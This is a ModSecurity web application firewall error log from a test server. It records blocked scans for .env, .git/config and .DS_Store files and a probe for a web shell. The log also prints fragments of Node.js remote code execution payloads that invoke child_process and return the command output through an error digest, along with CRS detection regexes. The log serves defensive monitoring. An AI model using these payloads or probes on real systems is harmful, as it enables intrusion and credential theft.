TEST_1766693226',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag " [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavgeRVizyCHBwqZXvgAAAAc"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.524435 2025] [:error] [pid 964236] [client 85.11.167.4:45066] [client 85.11.167.4] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1766693226 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavgeRVizyCHBwqZXvgAAAAc"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.525506 2025] [:error] [pid 964236] [client 85.11.167.4:45066] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavgeRVizyCHBwqZXvgAAAAc"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 21:07:06.525681 2025] [:error] [pid 964236] [client 85.11.167.4:45066] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU2ZavgeRVizyCHBwqZXvgAAAAc"], referer: https://forst-trento.test.indacotrentino.com
[Thu Dec 25 22:02:51.784702 2025] [:error] [pid 963871] [client 195.178.110.161:34438] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU2me6sqHORkuasgstYyTwAAAAE"]
[Thu Dec 25 22:02:51.784972 2025] [:error] [pid 963871] [client 195.178.110.161:34438] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU2me6sqHORkuasgstYyTwAAAAE"]
[Thu Dec 25 22:02:51.785130 2025] [:error] [pid 963871] [client 195.178.110.161:34438] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU2me6sqHORkuasgstYyTwAAAAE"]
[Thu Dec 25 23:17:07.545891 2025] [:error] [pid 963870] [client 45.82.13.170:54254] [client 45.82.13.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU2346hCSY3eq6SYv7SN6wAAAAA"]
[Thu Dec 25 23:17:07.555961 2025] [:error] [pid 963870] [client 45.82.13.170:54254] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU2346hCSY3eq6SYv7SN6wAAAAA"]
[Thu Dec 25 23:17:07.556160 2025] [:error] [pid 963870] [client 45.82.13.170:54254] [client 45.82.13.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU2346hCSY3eq6SYv7SN6wAAAAA"]
[Fri Dec 26 05:20:28.177328 2025] [authz_core:error] [pid 987019] [client 138.68.144.227:33386] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Dec 26 05:20:31.177232 2025] [:error] [pid 987018] [client 138.68.144.227:33406] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4ND9EkTE5Ve8fFFN6oigAAAAM"]
[Fri Dec 26 05:20:31.177453 2025] [:error] [pid 987018] [client 138.68.144.227:33406] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4ND9EkTE5Ve8fFFN6oigAAAAM"]
[Fri Dec 26 05:20:31.177603 2025] [:error] [pid 987018] [client 138.68.144.227:33406] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4ND9EkTE5Ve8fFFN6oigAAAAM"]
[Fri Dec 26 05:20:32.182644 2025] [:error] [pid 987019] [client 138.68.144.227:33422] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4NEIcIx3ZiQjAH6pgJJQAAAAQ"]
[Fri Dec 26 05:20:32.183686 2025] [:error] [pid 987019] [client 138.68.144.227:33422] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4NEIcIx3ZiQjAH6pgJJQAAAAQ"]
[Fri Dec 26 05:20:32.183869 2025] [:error] [pid 987019] [client 138.68.144.227:33422] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4NEIcIx3ZiQjAH6pgJJQAAAAQ"]
[Fri Dec 26 05:20:34.193397 2025] [:error] [pid 988136] [client 138.68.144.227:57314] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4NEuv3Hrn3TgVA3ktDPgAAAAc"]
[Fri Dec 26 05:20:34.193656 2025] [:error] [pid 988136] [client 138.68.144.227:57314] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4NEuv3Hrn3TgVA3ktDPgAAAAc"]
[Fri Dec 26 05:20:34.193804 2025] [:error] [pid 988136] [client 138.68.144.227:57314] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4NEuv3Hrn3TgVA3ktDPgAAAAc"]
[Fri Dec 26 06:29:52.257885 2025] [authz_core:error] [pid 987281] [client 165.22.235.3:32836] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Dec 26 06:29:55.268040 2025] [:error] [pid 987019] [client 165.22.235.3:32870] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4dU4cIx3ZiQjAH6pgJPQAAAAQ"]
[Fri Dec 26 06:29:55.268267 2025] [:error] [pid 987019] [client 165.22.235.3:32870] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4dU4cIx3ZiQjAH6pgJPQAAAAQ"]
[Fri Dec 26 06:29:55.268429 2025] [:error] [pid 987019] [client 165.22.235.3:32870] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aU4dU4cIx3ZiQjAH6pgJPQAAAAQ"]
[Fri Dec 26 06:29:56.275293 2025] [:error] [pid 987018] [client 165.22.235.3:32872] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4dVNEkTE5Ve8fFFN6oowAAAAM"]
[Fri Dec 26 06:29:56.275629 2025] [:error] [pid 987018] [client 165.22.235.3:32872] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4dVNEkTE5Ve8fFFN6oowAAAAM"]
[Fri Dec 26 06:29:56.276126 2025] [:error] [pid 987018] [client 165.22.235.3:32872] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aU4dVNEkTE5Ve8fFFN6oowAAAAM"]
[Fri Dec 26 06:29:58.269719 2025] [:error] [pid 987016] [client 165.22.235.3:45232] [client 165.22.235.3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4dVvtV0DSD9Vsv4Ep7QgAAAAE"]
[Fri Dec 26 06:29:58.269952 2025] [:error] [pid 987016] [client 165.22.235.3:45232] [client 165.22.235.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4dVvtV0DSD9Vsv4Ep7QgAAAAE"]
[Fri Dec 26 06:29:58.270145 2025] [:error] [pid 987016] [client 165.22.235.3:45232] [client 165.22.235.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aU4dVvtV0DSD9Vsv4Ep7QgAAAAE"]
[Fri Dec 26 17:49:02.348852 2025] [php:error] [pid 998210] [client 4.217.183.253:12215] script '/var/www/magento.test.indacotrentino.com/www/pub/images/m.php' not found or unable to stat
[Sat Dec 27 05:21:32.258716 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Rule 7f555aa31898 [id "932110"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "258"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.258800 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Rule 7f555aa26760 [id "932115"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "298"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.260397 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "350"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(function(e) { reject(Object.assign(new Er..."] [severity "CRITICAL"] [ver "OWASP_C [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.260519 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Rule 7f555a677bf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.260684 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.260839 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.262509 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Rule 7f555b2a9320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.262638 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Rule 7f555b2a0030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.269138 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Sat Dec 27 05:21:32.269305 2025] [:error] [pid 1008709] [client 209.38.216.98:19072] [client 209.38.216.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aU9ezI7pbIIJWqjXQXHX6wAAAAA"]
[Tue Dec 30 05:52:06.198489 2025] [authz_core:error] [pid 1074996] [client 159.65.18.197:50376] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
